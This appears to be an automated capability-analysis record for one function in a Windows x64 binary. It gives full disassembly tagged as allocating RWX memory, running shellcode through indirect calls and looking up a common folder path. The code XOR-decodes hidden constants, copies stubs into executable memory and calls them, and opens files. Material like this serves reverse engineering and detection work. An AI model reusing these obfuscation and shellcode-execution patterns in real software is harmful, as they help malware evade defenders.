Function at 0x140004b90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x3e0
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x380], rax
xor ebx, ebx
lea r12, [rsp + 0x408]
mov rdi, qword [r12]
lea rax, [rbp + 0x160]
xor r9d, r9d
mov qword [rbp + 0x18], rdi
xor r8d, r8d
mov qword [r12], rbx
lea edx, [rbx + 0x10]
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
movabs r13, 0x1422b1b22c01f263
movabs r14, 0x6a7f49c7b32571d8
test eax, eax
je 0x140004ebb
movabs rax, 0x7b50c3f70c5cdf38
movabs rsi, 0x63a0a1dd5b5dfc8a
mov qword [rbp + 8], rax
movabs r15, 0xc97c2dd8faf7398d
mov rax, qword [rbp + 8]
mov ecx, ebx
mov qword [rbp + 0xe0], rax
movabs rax, 0x4163db3d64251aa
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe8], rax
movabs rax, 0xa60846ab9f9319ea
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf0], rax
movabs rax, 0x17c3c4af3239dcfa
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf8], rax
movabs rax, 0x4a5aece6358f2dd8
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x100], rax
movabs rax, 0x3ec3bcdb885059c6
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x108], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 8], rsi
lea rsi, [0x140006230]
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb8], rax
movabs rax, 0x222e8d9615f65fb7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0], rax
movabs rax, 0x3ec3bcdb885059cc
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
movdqa xmm2, xmmword [rbp + 0x100]
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
mov qword [rbp + 0xc8], rax
lea rax, [rbp + 0xe0]
vxorps xmm2, xmm2, xmmword [rbp + 0xc0]
mov qword [rbp + 8], rax
lea rax, [rsp + 0x408]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqa xmmword [rbp + 0x100], xmm2
mov qword [rax], rbx
lea rbx, [0x140000000]
mov rax, qword [0x14000c5d0]
test rax, rax
vzeroupper
je 0x140004dbe
cmp rax, rsi
je 0x140004dab
inc ecx
mov rax, qword [rbx + rcx*8 + 0xc5d0]
test rax, rax
jne 0x140004d95
jmp 0x140004dbe
mov eax, ecx
mov r8, qword [rbx + rax*8 + 0xc8f0]
test r8, r8
jne 0x140004ea4
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140004e83
mov rax, rsi
mov rcx, r8
mov edi, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdi, 1
jne 0x140004df0
movups xmm0, xmmword [rax]
mov rdi, qword [rbp + 0x18]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14000f4c8]
mov qword [rbx + rax*8 + 0xc5d0], rsi
mov qword [rbx + rax*8 + 0xc8f0], r8
inc rax
mov qword [0x14000f4c8], rax
lea rdx, [rbp + 8]
lea rcx, [fcn.140001060]
call r8
mov qword [r12], rdi
jmp 0x140005760
movabs rax, 0x6d50d2dc495d8146
lea rdx, [0x140006260]
mov qword [rbp + 0x10], rax
movabs rsi, 0x63a0a1dd5b5dfc8a
mov rax, qword [rbp + 0x10]
movabs r15, 0xc97c2dd8faf7398d
mov qword [rbp + 0x60], rax
mov ecx, ebx
movabs rax, 0x6162f98d74005a8
mov edi, 3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x68], rax
movabs rax, 0xc97c59a08ed94ae8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x60]
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
mov qword [rbp + 0x10], rax
lea rax, [rsp + 0x408]
vmovdqa ymmword [rbp + 0x60], ymm1
mov qword [rbp + 0x40], 0x104
mov r12, qword [rax]
mov qword [rax], rbx
lea rbx, [0x140000000]
mov rax, qword [0x14000afc0]
test rax, rax
vzeroupper
je 0x140004fd9
nop dword [rax]
cmp rax, rdx
je 0x140004fc6
inc ecx
mov rax, qword [rbx + rcx*8 + 0xafc0]
test rax, rax
jne 0x140004fb0
jmp 0x140004fd9
mov eax, ecx
mov r10, qword [rbx + rax*8 + 0xa660]
test r10, r10
jne 0x1400050c0
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8, [0x140006260]
mov r10, rax
test rax, rax
je 0x14000509f
mov rax, r8
mov rcx, r10
mov rdx, rdi
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140005010
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14000b930]
mov qword [rbx + rax*8 + 0xafc0], r8
mov qword [rbx + rax*8 + 0xa660], r10
inc rax
mov qword [0x14000b930], rax
lea rax, [rbp + 0x160]
lea r9, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x270]
lea rcx, [fcn.1400010c0]
call r10
lea rax, [rsp + 0x408]
mov qword [rax], r12
lea rdx, [rbp + 0x20]
movabs rax, 0x1422b1b22c01f214
lea rcx, [rbp + 0x270]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
mov qword [rbp], r14
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp + 0x128], rax
xorps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x20], xmm0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov qword [rbp + 0x80], rax
test rax, rax
jne 0x140005432
movabs rax, 0x7b50c3f70c5cdf38
movabs rcx, 0x6a5444e18cb88a8e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x41627a2c34a51aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0xb9055fbb949219ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x6ccc8bb043999fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x4d48ade26d8271c4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x50aac8b2fa2779be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0xc1270f9ca4d11db6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], rsi
lea rsi, [0x140006230]
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0x222e8d9615f65fb7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x3ec3bcdb885059cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xc1270f9ca4d117d1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rcx
xor ecx, ecx
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa0]
vmovdqu ymm0, ymmword [rbp + 0xc0]
mov qword [rbp + 0x118], rax
lea rax, [rbp + 0xa0]
vmovdqa ymmword [rbp + 0xa0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
mov qword [rbp + 8], rax
lea rax, [rsp + 0x408]
vmovdqa ymmword [rbp + 0xc0], ymm1
mov qword [rax], 0
mov rax, qword [0x14000c5d0]
test rax, rax
vzeroupper
je 0x140005349
cmp rax, rsi
je 0x140005338
inc ecx
mov rax, qword [rbx + rcx*8 + 0xc5d0]
test rax, rax
jne 0x140005322
jmp 0x140005349
mov r8, qword [rbx + rcx*8 + 0xc8f0]
test r8, r8
jne 0x140005422
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x140005401
mov rax, rsi
mov rcx, r8
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdi, 1
jne 0x140005372
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14000f4c8]
mov qword [rbx + rax*8 + 0xc5d0], rsi
mov qword [rbx + rax*8 + 0xc8f0], r8
inc rax
mov qword [0x14000f4c8], rax
lea rdx, [rbp + 8]
lea rcx, [fcn.140001060]
jmp 0x14000574e
xor esi, esi
cmp dword [0x14000ee70], esi
jle 0x140005616
lea rcx, [rsp + 0x408]
movabs rax, 0x1422b1b22c0b8146
lea r12, [0x1400062b0]
nop dword [rax]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
mov qword [rbp], r14
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x30]
mov qword [rbp + 0x138], rax
lea rax, [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x130]
mov qword [rbp + 0x48], rax
mov rax, qword [0x14000bc60]
movdqa xmmword [rbp + 0x30], xmm0
mov r15, qword [rcx]
mov qword [rcx], 0
xor ecx, ecx
test rax, rax
je 0x1400054ee
cmp rax, r12
je 0x1400054dd
inc ecx
mov rax, qword [rbx + rcx*8 + 0xbc60]
test rax, rax
jne 0x1400054c7
jmp 0x1400054ee
mov r10, qword [rbx + rcx*8 + 0xb940]
test r10, r10
jne 0x1400055d0
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
je 0x1400055af
mov rcx, r12
mov rdx, rdi
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rax - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x140005520
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x14000f4d0]
mov qword [rbx + rax*8 + 0xbc60], r12
mov qword [rbx + rax*8 + 0xb940], r10
inc rax
mov qword [0x14000f4d0], rax
movsxd rax, esi
lea r9, [rbx + 0xcf30]
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x80]
lea rcx, [0x140001010]
lea r9, [r9 + rax*8]
call r10
inc esi
lea rcx, [rsp + 0x408]
cmp esi, dword [0x14000ee70]
movabs rax, 0x1422b1b22c0b8146
mov qword [rcx], r15
jl 0x140005460
lea rax, [rsp + 0x408]
xor ecx, ecx
mov qword [rax], 0
lea rsi, [0x140006230]
mov rax, qword [0x14000cc10]
test rax, rax
je 0x140005667
nop word [rax + rax]
cmp rax, rsi
je 0x140005656
inc ecx
mov rax, qword [rbx + rcx*8 + 0xcc10]
test rax, rax
jne 0x140005640
jmp 0x140005667
mov r8, qword [rbx + rcx*8 + 0xee80]
test r8, r8
jne 0x140005740
xor ecx, ecx
mov edx, 0x1f4
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14000571f
mov rax, rsi
mov rcx, r8
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdi, 1
jne 0x140005690
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14000f4c0]
mov qword [rbx + rax*8 + 0xcc10], rsi
mov qword [rbx + rax*8 + 0xee80], r8
inc rax
mov qword [0x14000f4c0], rax
mov rcx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rdx, [rbp + 0x80]
call r8
mov rax, qword [rbp + 0x18]
lea rcx, [rsp + 0x408]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.140006390
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret